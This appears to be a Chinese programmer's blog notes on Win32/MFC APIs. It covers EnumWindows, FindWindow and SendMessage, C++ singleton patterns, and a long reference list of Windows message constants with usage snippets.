开发知识点-C++之win32与NT内核

在这里插入图片描述

Windows MFC编程 常用API汇总

在这里插入图片描述

EnumWindows()函数
  1. 函数原型:
    BOOL WINAPI EnumWindows(
    In WNDENUMPROC lpEnumFunc,
    In LPARAM lParam
    );

lpEnumFunc: 应用程序定义的回调函数的指针
lParam: 传递给回调函数的应用程序定义的值

MSDN中对EnumWindows的解释:
Enumerates all top-level windows on the screen by passing the handle to each window, in turn, to an application-defined callback function. EnumWindows continues until the last top-level window is enumerated or the callback function returns FALSE.
即:
枚举屏幕上的所有的顶层窗口,轮流地将这些窗口的句柄传递给一个应用程序定义的回调函数。
EnumWindows会一直进行下去,直到枚举完所有的顶层窗口,或者回调函数返回了FALSE.

  1. EnumWindowsProc()函数的定义:

BOOL CALLBACK EnumWindowsProc(
In HWND hwnd,
In LPARAM lParam
);

hwnd: 在枚举每个顶层窗口而调用该函数的过程中传递给该函数的顶层窗口的句柄

lParam: 即EnumWindows()函数的第二个参数。

  • Return Value:

返回TRUE,则EnumWindows()函数在系统中继续调用EnumWindowsProc()函数;返回FALSE,则停止枚举。

MSDN解释:
An application-defined callback function used with the EnumWindows or EnumDesktopWindows function. It receives top-level window handles. The WNDENUMPROC type defines a pointer to this callback function. EnumWindowsProc is a placeholder for the application-defined function name
即:
应用程序定义的函数,用于EnumWindows()或EnumDesktopWindos()函数。
接收顶层窗口句柄。
WNDENUMPROC类型定义了指向这种回调函数的指针。
EnumWindowsProc是一个应用程序定义的函数名称的占位符。

应用举例:


//这段代码的功能就是枚举当前所有的顶层窗口句柄,并且指定了一个窗口句柄,
//如果枚举到的顶层窗口句柄和传递给EnumWindowsProc函数的窗口句柄不同,则使枚举到的顶层窗口失能

//自定义结构体
typedef struct _DLONG
{
   
LONG wParam;
LONG lParam;
}stLONG;

//回调函数的定义
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
   
stLONG *pDlong = (stLONG*)lParam;
BOOL bEnable = (BOOL)pDlong->lParam;
if (hwnd != (HWND)pDlong->wParam)
  EnableWindow(hwnd, bEnable);
  //如果当前所枚举到的顶层窗口句柄和主调函数(EnumWindos函数)所传递来的额外信息做指定的顶层窗口句柄不同,
  //则进行相关使能或使失能操作
return TRUE;
}

......

stLONG dlong;
//传递给EnumWindowsProc的额外信息
dlong.lParam = (LPARAM)FALSE;
dlong.wParam = (WPARAM)hWnd;
EnumWindows(EnumWindowsProc, (LONG)&dlong);

UpdateData()函数

  • UpdateData()参数只有一个,默认为TRUE。

UpdateData(TRUE)

——刷新控件的值到对应的变量。(外部输入值交给内部变量)

即:控件的值—>变量。

UpdateData(FALSE)

—— 拷贝变量值到控件显示。(变量的最终运算结果值交给外部输出显示)

即:变量值—>控件显示。

static与 单例 设计模式

  • 要求每个类有且只能有一个实例对象

      1 构造函数声明为私有;   这样就保证了不能随意构造一个对象
    
      2 将拷贝 构造函数 与 等号运算符声明为私有,并不提供他们的实现; 即禁止对象被拷贝。
    
      3 在 类中 声明 一个静态的 全局访问接口;
    
      4 声明一个 静态的 私有实例化指针;
    

单例类模式的C++实现:

 
class Singleton  
{
     
public:  
    //全局访问接口  
    static Singleton *GetInstance()  
    {
     
        if( instance_ == NULL )  
        {
     
            instance_ = new Singleton;  
        }  
        return instance_;  
    }  
  
    ~Singleton()  
    {
     
        cout << "~Singleton"<< endl;  
    }  
  
private:  
    Singleton(const Singleton& other);  
    Singleton & operator=(const Singleton & other);  
    Singleton()  
    {
     
          cout << "Singleton"<<endl;  
    }  
  
  
    static Singleton *instance_; //引用性声明  
};  
  
Singleton * Singleton::instance_; //定义性声明  
  
int main(void)  
{
     
    Singleton *s1 = Singleton::GetInstance();  
    Singleton *s2 = Singleton::GetInstance();  //s2的地址等于s1,即指向同一对象  
  
    //Singleton s3(*s1); //既然是单例模式,是不允许被拷贝的。编译会出错  
  
    return 0;  

缺陷:单例类中申请的一些资源没有被释放,如instance_指向的空间没有被回收。
解决方式:

 class Singleton  
{
     
    ...  
    //提供一个回收接口,在应用中显示调用回收资源  
    static void Free()  
    {
     
        delete instance_;  
    }  
  
    ....  
};  
  
int main()  
{
     
    ...  
    Singleton::Free(); //要显示调用进行资源回收  
} 

这种方式虽然能实现功能,但是不太方便,每次都要手动回收资源,这是它的缺点。
第二种解决方式:

 
class Singleton  
{
     
    ...  
public:  
    class Garbo //资源回收机制  
    {
     
    public:  
        ~Garbo()  
        {
     
            if( Singleton::instance_ != NULL )  
            {
     
                delete instance_;  
            }  
        }  
    };  
  
    ...  
private:  
    ...  
    static Garbo garbo_;  //引用性声明  
};  
  
Singleton::Garbo Singleton::garbo_;//定义性声明 

这种方式提供的处理方式显然要比第一种方式来的要便捷,
因为它依靠内部提供的Garbo嵌套类来提供服务,当Singleton类生命周期结束时,Garbo的类对象garbo_也要销毁,
它将调用析构函数,而在析构函数中又自动地释放了Singleton单例类申请的一些资源,
这种实现就比较智能化。
不需要手动释放资源。这是它的优势。

    下面提供另一种实现C++单例类模式的方法:
class Singleton  
{
     
 public:  
    static Singleton& GetInstance()  
    {
     
        static Singleton instance_;                   return instance_;  
    }  
  
    ~Singleton()  
    {
     
        cout << "~Singleton"<<endl;  
    }  
private:  
  
    Singleton()  
    {
     
        cout << "Singleton "<<endl;  
    }  
    Singleton(const Singleton &other);  
    Singleton & operator=(const Singleton &other);  
};

这种实现方式利用了static修改函数内部的变量,
当第一次调用GetInstance函数时,系统将构造一个Singleton对象,
在后续再次调用这个函数时,系统不再执行这个语句,也就不会再构造Singleton类对象了,而直接返回instance_本身。
另外,当Singleton类对象生命周期结束时,对象会自动调用析构函数销毁,这里也就不存在申请资源之类的了,
需要注意的是GetInstance()函数返回的是引用,
这样就不会调用拷贝构造函数了,
使用时也应该声明Singleton的引用,
如下:

 
int main()  
{
     
    Singleton &s1 = Singleton::GetInstance();  
    Singleton &s2 = Singleton::GetInstance(); //s1与s2是同一对象的引用  
  
    return 0;  
}  

函数原型:BOOL WINAPI SetConsoleTitle(__in LPCTSTR lpConsoleTitle);

函数功能:设置控制台窗口的标题
相关函数:GetConsoleTitle函数用于获取当前控制台窗口的标题
示例一:

#include <windows.h>
int main()
{
   
SetConsoleTitle("My God!");
return 0;
}

HWND 是一个基本类型 表示窗口句柄

和char int等同级别的,可以把它当做long型去看待,和身份证号一样。

HWND,h 是类型描述,表示句柄(handle),
Wnd 是变量对象描述,表示窗口,

hWnd 属性,返回窗体或控件的句柄
句柄:是由操作环境定义的一个唯一的整数值,它被程序用来标识或者切换到对象,如窗体或控件等。
(注意 OLE 容器控件不支持该属性)


FindWindow函数

一: 获得主窗口

HWND WINAPI FindWindow(
  _In_opt_  LPCTSTR lpClassName,
  _In_opt_  LPCTSTR lpWindowName
);

通过创建窗口时的 类名和 窗口名查找窗口并返回该窗口的句柄,
函数不会搜索子窗口。

  • 该函数区分大小写。

  • 参数
    lpClassName [in, optional]
    Type: LPCTSTR

  • 类名和窗口名是在先前调用RegisterClass or RegisterClassEx时创建的

如果lpClassName为NULL,他会寻找所有和lpWindowName参数匹配的窗口

窗口的名字也是窗口的title. 如果该参数为NULL,所有窗口名字都是匹配的.

  • 返回值

Type: HWND

如果函数调用成功,返回指向该窗口的句柄; 否则返回NULL。得到更多的错误信息调用GetLastError

注意
如果lpWindowName 非空, FindWindow 会调用GetWindowText 函数去得到窗口的名字作为比较

二:获得子窗口

HWND hWnd = FindWindow( NULL , "你想取得句柄对话框的标题" );
GetDlgItem( nID, &hWnd );

SendMessage函数 将指定的消息发送到一个或多个窗口

  • 为指定的窗口调用窗口程序,直到窗口程序处理完消息再返回
    函数原型 :LRESULT SendMessage(HWND hWnd,UINT wMsg,WPARAM wParam,LPARAM IParam);

参数:

hWnd:其窗口程序将接收消息的窗口的句柄。
如果此参数为HWND_BROADCAST,则消息将被发送到系统中所有顶层窗口,
包括无效或不可见的非自身拥有的窗口、被覆盖的窗口和弹出式窗口,但消息不被发送到子窗口。

 wMsg 用于区别其他消息的常量值,这些常量可以是Windows单元中预定义的常量,也可以是自定义的常量.
 
 wParam 通常是一个与消息有关的常量值,也可能是窗口或控件的句柄 
 
 lParam 通常是一个指向内存中数据的指针。
 由于WParm、lParam和Pointer都是32位的,因此,它们之间可以相互转换

返回值:返回值指定消息处理的结果,依赖于所发送的消息。

wMsg
WM_CREATE 创建一个窗口
WM_DESTROY 当一个窗口被破坏时发送
WM_MOVE 移动一个窗口
WM_SIZE 改变一个窗口的大小
WM_ACTIVATE 一个窗口被激活或失去激活状态
WM_SETFOCUS 一个窗口获得焦点
WM_KILLFOCUS 一个窗口失去焦点
WM_ENABLE 一个窗口改变成Enable状态
WM_SETREDRAW 设置窗口是否能重画
WM_SETTEXT 应用程序发送此消息来设置一个窗口的文本
WM_GETTEXT 应用程序发送此消息来复制对应窗口的文本到缓冲区
WM_GETTEXTLENGTH 得到与一个窗口有关的文本的长度(不包含空字符)
WM_PAINT 要求一个窗口重画自己
WM_CLOSE 当一个窗口或应用程序要关闭时发送一个信号
WM_QUERYENDSESSION 当用户选择结束对话框或程序自己调用ExitWindows函数
WM_QUIT 用来结束程序运行
WM_QUERYOPEN 当用户窗口恢复以前的大小位置时,把此消息发送给某个图标
WM_ERASEBKGND 当窗口背景必须被擦除时(例在窗口改变大小时)
WM_SYSCOLORCHANGE 当系统颜色改变时,发送此消息给所有顶级窗口
WM_ENDSESSION 当系统进程发出 WM_QUERYENDSESSION消息后,此消息发送给应用程序,通知它对话是否结束
WM_SHOWWINDOW 当隐藏或显示窗口是发送此消息给这个窗口
WM_ACTIVATEAPP 发此消息给应用程序哪个窗口是激活的,哪个是非激活的
WM_FONTCHANGE 当系统的字体资源库变化时发送此消息给所有顶级窗口
WM_TIMECHANGE 当系统的时间变化时发送此消息给所有顶级窗口
WM_CANCELMODE 发送此消息来取消某种正在进行的摸态(操作)
WM_SETCURSOR 如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时,就发消息给某个窗口
WM_MOUSEACTIVATE 当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口
WM_CHILDACTIVATE 发送此消息给MDI子窗口当用户点击此窗口的标题栏,或当窗口被激活,移动,改变大小
WM_QUEUESYNC 此消息由基于计算机的训练程序发送,通过WH_JOURNALPALYBACK的hook程序分离出用户输入消息
WM_GETMINMAXINFO 此消息发送给窗口当它将要改变大小或位置
WM_PAINTICON 发送给最小化窗口当它图标将要被重画
WM_ICONERASEBKGND 此消息发送给某个最小化窗口,仅当它在画图标前它的背景必须被重画
WM_NEXTDLGCTL 发送此消息给一个对话框程序去更改焦点位置
WM_SPOOLERSTATUS 每当打印管理列队增加或减少一条作业时发出此消息
WM_DRAWITEM 当button,combobox,listbox,menu的可视外观改变时发送
WM_MEASUREITEM 当button, combo box, list box, list view control, or menu item 被创建时
WM_VKEYTOITEM 此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息
WM_CHARTOITEM 此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息
WM_SETFONT 当绘制文本时程序发送此消息得到控件要用的颜色
WM_GETFONT 应用程序发送此消息得到当前控件绘制文本的字体
WM_SETHOTKEY 应用程序发送此消息让一个窗口与一个热键相关连
WM_GETHOTKEY 应用程序发送此消息来判断热键与某个窗口是否有关联
WM_QUERYDRAGICON 此消息发送给最小化窗口,当此窗口将要被拖放而它的类中没有定义图标,应用程序能返回一个图标或光标的句柄,当用户拖放图标时系统显示这个图标或光标
WM_COMPAREITEM 发送此消息来判定combobox或listbox新增加的项的相对位置
WM_COMPACTING 显示内存已经很少了
WM_WINDOWPOSCHANGING 发送此消息给那个窗口的大小和位置将要被改变时,来调用setwindowpos函数或其它窗口管理函数
WM_WINDOWPOSCHANGED 发送此消息给那个窗口的大小和位置已经被改变时,来调用setwindowpos函数或其它窗口管理函数
WM_POWER 当系统将要进入暂停状态时发送此消息
WM_COPYDATA 当一个应用程序传递数据给另一个应用程序时发送此消息
WM_CANCELJOURNA 当某个用户取消程序日志激活状态,提交此消息给程序
WM_NOTIFY 当某个控件的某个事件已经发生或这个控件需要得到一些信息时,发送此消息给它的父窗口
WM_INPUTLANGCHANGEREQUEST 当用户选择某种输入语言,或输入语言的热键改变
WM_INPUTLANGCHANGE 当平台现场已经被改变后发送此消息给受影响的最顶级窗口
WM_TCARD 当程序已经初始化windows帮助例程时发送此消息给应用程序
WM_HELP 此消息显示用户按下了F1,如果某个菜单是激活的,就发送此消息个此窗口关联的菜单,否则就发送给有焦点的窗口,如果当前都没有焦点,就把此消息发送给当前激活的窗口
WM_USERCHANGED 当用户已经登入或退出后发送此消息给所有的窗口,当用户登入或退出时系统更新用户的具体设置信息,在用户更新设置时系统马上发送此消息
WM_NOTIFYformAT 公用控件,自定义控件和他们的父窗口通过此消息来判断控件是使用ANSI还是UNICODE结构
WM_CONTEXTMENU 当用户某个窗口中点击了一下右键就发送此消息给这个窗口
WM_styleCHANGING 当调用SETWINDOWLONG函数将要改变一个或多个 窗口的风格时发送此消息给那个窗口
WM_styleCHANGED 当调用SETWINDOWLONG函数一个或多个 窗口的风格后发送此消息给那个窗口
WM_DISPLAYCHANGE 当显示器的分辨率改变后发送此消息给所有的窗口
WM_GETICON 此消息发送给某个窗口来返回与某个窗口有关连的大图标或小图标的句柄
WM_SETICON 程序发送此消息让一个新的大图标或小图标与某个窗口关联
WM_NCCREATE 当某个窗口第一次被创建时,此消息在WM_CREATE消息发送前发送
WM_NCDESTROY 此消息通知某个窗口,非客户区正在销毁
WM_NCCALCSIZE 当某个窗口的客户区域必须被核算时发送此消息
WM_NCHITTEST 移动鼠标,按住或释放鼠标时发生
WM_NCPAINT 程序发送此消息给某个窗口当它(窗口)的框架必须被绘制时
WM_NCACTIVATE 此消息发送给某个窗口仅当它的非客户区需要被改变来显示是激活还是非激活状态
WM_GETDLGCODE 发送此消息给某个与对话框程序关联的控件,widdows控制方位键和TAB键使输入进入此控件通过应
WM_NCMOUSEMOVE 当光标在一个窗口的非客户区内移动时发送此消息给这个窗口 非客户区为:窗体的标题栏及窗 的边框体
WM_NCLBUTTONDOWN 当光标在一个窗口的非客户区同时按下鼠标左键时提交此消息
WM_NCLBUTTONUP 当用户释放鼠标左键同时光标某个窗口在非客户区十发送此消息
WM_NCLBUTTONDBLCLK 当用户双击鼠标左键同时光标某个窗口在非客户区十发送此消息
WM_NCRBUTTONDOWN 当用户按下鼠标右键同时光标又在窗口的非客户区时发送此消息
WM_NCRBUTTONUP 当用户释放鼠标右键同时光标又在窗口的非客户区时发送此消息
WM_NCRBUTTONDBLCLK 当用户双击鼠标右键同时光标某个窗口在非客户区十发送此消息
WM_NCMBUTTONDOWN 当用户按下鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_NCMBUTTONUP 当用户释放鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_NCMBUTTONDBLCLK 当用户双击鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_KEYFIRST WM_KEYDOWN 按下一个键
WM_KEYUP 释放一个键
WM_CHAR 按下某键,并已发出WM_KEYDOWN, WM_KEYUP消息
WM_DEADCHAR 当用translatemessage函数翻译
WM_KEYUP消息时发送此消息给拥有焦点的窗口
WM_SYSKEYDOWN 当用户按住ALT键同时按下其它键时提交此消息给拥有焦点的窗口
WM_SYSKEYUP 当用户释放一个键同时ALT 键还按着时提交此消息给拥有焦点的窗口
WM_SYSCHAR 当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后提交此消息给拥有焦点的窗口
WM_SYSDEADCHAR 当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后发送此消息给拥有焦点的窗口
WM_INITDIALOG 在一个对话框程序被显示前发送此消息给它,通常用此消息初始化控件和执行其它任务
WM_COMMAND 当用户选择一条菜单命令项或当某个控件发送一条消息给它的父窗口,一个快捷键被翻译
WM_SYSCOMMAND 当用户选择窗口菜单的一条命令或当用户选择最大化或最小化时那个窗口会收到此消息
WM_TIMER 发生了定时器事件
WM_HSCROLL 当一个窗口标准水平滚动条产生一个滚动事件时发送此消息给那个窗口,也发送给拥有它的控件
WM_VSCROLL 当一个窗口标准垂直滚动条产生一个滚动事件时发送此消息给那个窗口也,发送给拥有它的控件
WM_INITMENU 当一个菜单将要被激活时发送此消息,它发生在用户菜单条中的某项或按下某个菜单键,它允许程序在显示前更改菜单
WM_INITMENUPOPUP 当一个下拉菜单或子菜单将要被激活时发送此消息,它允许程序在它显示前更改菜单,而不要改变全部
WM_MENUSELECT 当用户选择一条菜单项时发送此消息给菜单的所有者(一般是窗口)
WM_MENUCHAR 当菜单已被激活用户按下了某个键(不同于加速键),发送此消息给菜单的所有者
WM_ENTERIDLE 当一个模态对话框或菜单进入空载状态时发送此消息给它的所有者,一个模态对话框或菜单进入空载状态就是在处理完一条或几条先前的消息后没有消息它的列队中等待
WM_CTLCOLORMSGBOX 在windows绘制消息框前发送此消息给消息框的所有者窗口,通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置消息框的文本和背景颜色
WM_CTLCOLOREDIT 当一个编辑型控件将要被绘制时发送此消息给它的父窗口 通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置编辑框的文本和背景颜色
WM_CTLCOLORLISTBOX 当一个列表框控件将要被绘制前发送此消息给它的父窗口 通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置列表框的文本和背景颜色
WM_CTLCOLORBTN 当一个按钮控件将要被绘制时发送此消息给它的父窗口 通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置按纽的文本和背景颜色
WM_CTLCOLORDLG 当一个对话框控件将要被绘制前发送此消息给它的父窗口,通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置对话框的文本背景颜色
WM_CTLCOLORSCROLLBAR 当一个滚动条控件将要被绘制时发送此消息给它的父窗口 通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置滚动条的背景颜色
WM_CTLCOLORSTATIC 当一个静态控件将要被绘制时发送此消息给它的父窗口 通过响应这条消息,所有者窗口可以 通过使用给定的相关显示设备的句柄来设置静态控件的文本和背景颜色
WM_MOUSEFIRST WM_MOUSEMOVE 移动鼠标
WM_LBUTTONDOWN 按下鼠标左键
WM_LBUTTONUP 释放鼠标左键
WM_LBUTTONDBLCLK 双击鼠标左键
WM_RBUTTONDOWN 按下鼠标右键
WM_RBUTTONUP 释放鼠标右键
WM_RBUTTONDBLCLK 双击鼠标右键
WM_MBUTTONDOWN 按下鼠标中键
WM_MBUTTONUP 释放鼠标中键
WM_MBUTTONDBLCLK 双击鼠标中键
WM_MOUSEWHEEL 当鼠标轮子转动时发送此消息个当前有焦点的控件
WM_PARENTNOTIFY 当MDI子窗口被创建或被销毁,或用户按了一下鼠标键而光标在子窗口上时发送此消息给它的父窗口
WM_ENTERMENULOOP 发送此消息通知应用程序的主窗口that已经进入了菜单循环模式
WM_EXITMENULOOP 发送此消息通知应用程序的主窗口that已退出了菜单循环模式
WM_SIZING 当用户正在调整窗口大小时发送此消息给窗口 通过此消息应用程序可以监视窗口大小和位置也可以修改他们
WM_CAPTURECHANGED 发送此消息 给窗口当它失去捕获的鼠标时
WM_MOVING 当用户在移动窗口时发送此消息,通过此消息应用程序可以监视窗口大小和位置也可以修改他们
WM_POWERBROADCAST 此消息发送给应用程序来通知它有关电源管理事件
WM_DEVICECHANGE 当设备的硬件配置改变时发送此消息给应用程序或设备驱动程序
WM_MDIDESTROY 应用程序发送此消息给多文档的客户窗口来关闭一个MDI 子窗口
WM_MDIACTIVATE 应用程序发送此消息给多文档的客户窗口通知客户窗口激活另一个MDI子窗口,当客户窗口收到此消息后,它发出WM_MDIACTIVE消息给MDI子窗口(未激活)激活它
WM_MDIRESTORE 程序 发送此消息给MDI客户窗口让子窗口从最大最小化恢复到原来大小
WM_MDINEXT 程序 发送此消息给MDI客户窗口激活下一个或前一个窗口
WM_MDIMAXIMIZE 程序发送此消息给MDI客户窗口来最大化一个MDI子窗口
WM_MDITILE 程序 发送此消息给MDI客户窗口以平铺方式重新排列所有MDI子窗口
WM_MDICASCADE 程序 发送此消息给MDI客户窗口以层叠方式重新排列所有MDI子窗口
WM_MDIICONARRANGE 程序 发送此消息给MDI客户窗口重新排列所有最小化的MDI子窗口
WM_MDIGETACTIVE 程序 发送此消息给MDI客户窗口来找到激活的子窗口的句柄
WM_MDISETMENU 程序 发送此消息给MDI客户窗口用MDI菜单代替子窗口的菜单
WM_CUT 程序发送此消息给一个编辑框或combobox来删除当前选择的文本
WM_COPY 程序发送此消息给一个编辑框或combobox来复制当前选择的文本到剪贴板
WM_PASTE 程序发送此消息给editcontrol或combobox从剪贴板中得到数据
WM_CLEAR 程序发送此消息给editcontrol或combobox清除当前选择的内容
WM_UNDO 程序发送此消息给editcontrol或combobox撤消最后一次操作
WM_DESTROYCLIPBOARD 当调用ENPTYCLIPBOARD函数时 发送此消息给剪贴板的所有者
WM_DRAWCLIPBOARD 当剪贴板的内容变化时发送此消息给剪贴板观察链的第一个窗口 它允许用剪贴板观察窗口来显示剪贴板的新内容
WM_PAINTCLIPBOARD 当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区需要重画
WM_SIZECLIPBOARD 当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区域的大小已经改变是此消息通过剪贴板观察窗口发送给剪贴板的所有者
WM_ASKCBformATNAME 通过剪贴板观察窗口发送此消息给剪贴板的所有者来请求一个CF_OWNERDISPLAY格式的剪贴板的名字
WM_CHANGECBCHAIN 当一个窗口从剪贴板观察链中移去时发送此消息给剪贴板观察链的第一个窗口
WM_HSCROLLCLIPBOARD 此消息通过一个剪贴板观察窗口发送给剪贴板的所有者 它发生在当剪贴板包含CFOWNERDISPALY格式的数据并且有个事件在剪贴板观察窗的水平滚动条上 所有者应滚动剪贴板图象并更新滚动条的值
WM_QUERYNEWPALETTE 此消息发送给将要收到焦点的窗口,此消息能使窗口在收到焦点时同时有机会实现他的逻辑调色板
WM_PALETTEISCHANGING 当一个应用程序正要实现它的逻辑调色板时发此消息通知所有的应用程序
WM_PALETTECHANGED 此消息在一个拥有焦点的窗口实现它的逻辑调色板后发送此消息给所有顶级并重叠的窗口,以此来改变系统调色板
WM_HOTKEY 当用户按下由REGISTERHOTKEY函数注册的热键时提交此消息
WM_PRINT 应用程序发送此消息仅当WINDOWS或其它应用程序发出一个请求要求绘制一个应用程序的一部分

Buttons

BM_CLICK button被点击 消息

BM_GETCHECK 用于check boxes 或radio boxes 。查看 是否 checked 了。

BM_GETSTATE 发送此消息,可返回 button 的状态,如 是否被 checked;是否 可用(不可用就 变灰了)

BM_SETCHECK 如果 已经 checked 了,发送此消息后,变为 unchecked,就是 那个钩钩 没被 选上。ok?

BM_SETSTATE 设置 button被 点击 状态。

====================

Combo Boxes

CB_ADDSTRING 添加 字符串到 Combo Boxes 。

CB_DELETESTRING 删除 Combo Boxes 中的 条目,既 item

CB_GETCOUNT 得到 Combo Boxes 条目 item 的 数目

CB_GETCURSEL 返回 Combo Boxes 中被选 条目 在 Combo Boxes 中 的位置,第一条为0 。

如果 没有 条目或出错,则返回 -1

CB_GETDROPPEDSTATE 发送此消息,可判断 Combo Boxes 的list box 是否被 放下,如果 是,返回 非零值,不是,则 返回 0

CB_GETLBTEXT 得到 combo box 的 条目 的text。 返回值 是 这个text 的长度。

CB_GETLBTEXTLEN 返回值 是 条目的 text 的长度。

CB_INSERTSTRING 插入 字符串 条目到 combo box 中

CB_RESETCONTENT 清空 combo box 所有条目

CB_SETCURSEL 设置 combo box 被选 条目。

CB_SHOWDROPDOWN 让 combo box 的listbox 下拉。 既 显出 所有 条目

===================

Edit Controls

EM_CANUNDO 决定 上一次操作 是否可以 undo (撤消操作)。如果可以,则可发送 EM_undo

EM_GETFIRSTVISIBLELINE 在 multi-line 控件中,找到 最上层的 可见的 行号。次行号是相对于 所有行的。

EM_GETPASSWORDCHAR 返回 密码框的 字符集。既 是查看密码。

EM_GETSEL 返回在 可编辑 控件中 ,被选择(HIGHLIGHT高量选择)的字符集 的 起点 和终点的 位置。

用 sendmessage 的wParam 参数 返回 起点位置,lParam 返回 终点位置

EM_REPLACESEL 用不同的字符串 替换 可编辑 控件 中的 字符串,如果 可编辑 控件中 没有 字符串,则 此消息变为 添加 字符串

EM_SETPASSWORDCHAR 在可编辑 控件中 设置 密码字符集 ,既 用* 代替

EM_UNDO 发送 操作 撤消 消息。

======================

IP Address Control

===================

IPM_CLEARADDRESS 清除 IP 地址控件(IP Address control)的内容

IPM_GETADDRESS 从IP 地址控件 获得 存储在 它中的 IP 地址 信息/

IPM_ISBLANK 决定 IP 地址控件 是否可以为 空值。既 127.0.0.1 之类的地址 为 空。

IPM_SETADDRESS 在 IP 地址控件中设置 IP 地址。

IPM_SETFOCUS 在 IP 地址控件中,当需要输入 IP 地址时, 使之获得 键盘输入 焦点

IPM_SETRANGE 设置 输入IP 地址的有效范围

=====================

Media Control Interface (MCI)

=============================

MM_MCINOTIFY 告诉 窗体 MCI 命令 完成的状态. 这个 状态包括 success, failure, 或 其它事件

Menus

=============================

WM_COMMAND 当 用户 选择 菜单中的 项目后,将向 窗体 发送此消息. 窗体 受到 此消息后,再 决定 下一个 行为

WM_INITMENU 当 菜单 准备 显示 前,向 窗体发送 此消息, 窗体 将 初始化 菜单 项.

WM_SYSCOMMAND 向 窗体 发送 用户点击 系统菜单 消息. 窗体将 响应 这个消息 ,决定 下个 行为.

================

Windows

=====================

WM_CLOSE 发送 让窗体关闭的消息,有些窗体会 在此时 弹出个 关闭对话框。

WM_GETTEXT 返回 窗体 标题栏 (caption 属性)。 需要先 用WM_GETTEXTLENGTH 获得 字符串长度

WM_GETTEXTLENGTH 见上!

WM_HELP 发送此 消息后,将 显示 指定的 HELP 文件

WM_SETTEXT 设置 窗体 标题栏 。

==============================

List Boxes

===============

LB_ADDSTRING 在条目中添加 字符串

LB_DELETESTRING 删除一个 条目. 条目 序号是从 0 开始的.

LB_GETCOUNT 得到 条目总数.

LB_GETCURSEL 得到 单选 的list box 的 选项条目的 序号

LB_GETSEL 判断 list 的 条目 是否被选上, 如果 选上了,则返回 >0 的值.否则 返回 0 ,表示 用户没选择条目

LB_GETSELCOUNT 获得 可多选 的list , 被用户选择的条目的个数.

LB_GETSELITEMS 返回 可多选的list 的 被选条目的 序号. 可返回 数组.

LB_GETTEXT 得到 list中的 一个 条目的 text 值

LB_GETTEXTLEN 得到 list中的 一个 条目的 text 值的长度

LB_INSERTSTRING 在list 中,插入 一个条目。如果成功,将返回 插入后,此条目的序号。

LB_RESETCONTENT 清空 所有的 list 中的 条目。

LB_SETCURSEL 对单选 的list box, 设定 用户 选择条目的 具体值

LB_SETSEL 对多选 的list box, 设定 用户 选择条目的 具体值

=======================================================

Mouse

==================

WM_LBUTTONDBLCLK 当鼠标在一个窗体范围内时,告诉此窗体 鼠标左键 已双击 。返回值 0

WM_LBUTTONDOWN 当鼠标在一个窗体范围内时,告诉此窗体 鼠标左键 已点击,返回值 0

WM_LBUTTONUP 当鼠标在一个窗体范围内时,告诉此窗体 鼠标左键 已释放,返回值 0

WM_MBUTTONDBLCLK 当鼠标在一个窗体范围内时,告诉此窗体 鼠标中键 已双击 。返回值 0

WM_MBUTTONDOWN 当鼠标在一个窗体范围内时,告诉此窗体 鼠标中键 已点击,返回值 0

WM_MBUTTONUP 当鼠标在一个窗体范围内时,告诉此窗体 鼠标中键 已释放,返回值 0

SendMessage用例

SendMessage(hWnd,WM_SETFOCUS,0,0);
SendMessage(hWnd,WM_ACTIVATE,1,0);

SendMessage(hWnd,WM_KEYDOWN,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_CHAR,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_KEYUP,VK_TAB,0xc00f0001);
SendMessage(hWnd,WM_KEYDOWN,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_CHAR,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_KEYUP,VK_TAB,0xc00f0001);
SendMessage(hWnd,WM_KEYDOWN,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_CHAR,VK_TAB,0x000f0001);
SendMessage(hWnd,WM_KEYUP,VK_TAB,0xc00f0001);
SendMessage(hWnd,WM_KEYDOWN,VK_RETURN,0x001c0001);
SendMessage(hWnd,WM_CHAR,VK_RETURN,0x001c0001);
SendMessage(HWND, WM_SYSCOMMAND, SC_MAXIMIZE, ByVal 0&) '最大化

SendMessage HWND, WM_SHOWWINDOW, SW_HIDE, vbNull '隐藏窗体
SendMessage HWND, WM_SHOWWINDOW, SW_NORMAL, vbNull '显示窗体

SendMessage(HWND, CB_SHOWDROPDOWN, -1, -1) '显示Combo1.hwnd下拉列表

SendMessage (Combo1.hWnd, CB_SHOWDROPDOWN, 0, 0 ) '不下拉

SendMessage(HWND, WM_SYSCOMMAND, SC_CLOSE, ByVal 0&) '关闭
SendMessage(HWND, WM_SYSCOMMAND, SC_MINIMIZE, ByVal 0&) '最小化
SendMessage(HWND, WM_PASTE, 0, 0) '粘贴
SendMessage(HWND, WM_COPY, 0, 0) '复制
SendMessage(HWND, WM_UNDO, 0, 0) '撤消
SendMessage(HWND, WM_SETTEXT, 0, ByVal new_caption) 'f发文本信息
SendMessage(HWND, WM_KEYDOWN, Asc(“b”), 0&) '发送按键 只能用于 控件 不能用与整个窗体或进程
SendMessage(HWND, WM_LBUTTONDOWN, MK_LBUTTON, ByVal &H10001) '鼠标模拟
WindowFromPoint(Cursor.x, Cursor.y) '获得鼠标当前句柄
GetPixel(dc, Cursor.x, Cursor.y) '获取鼠标点颜色
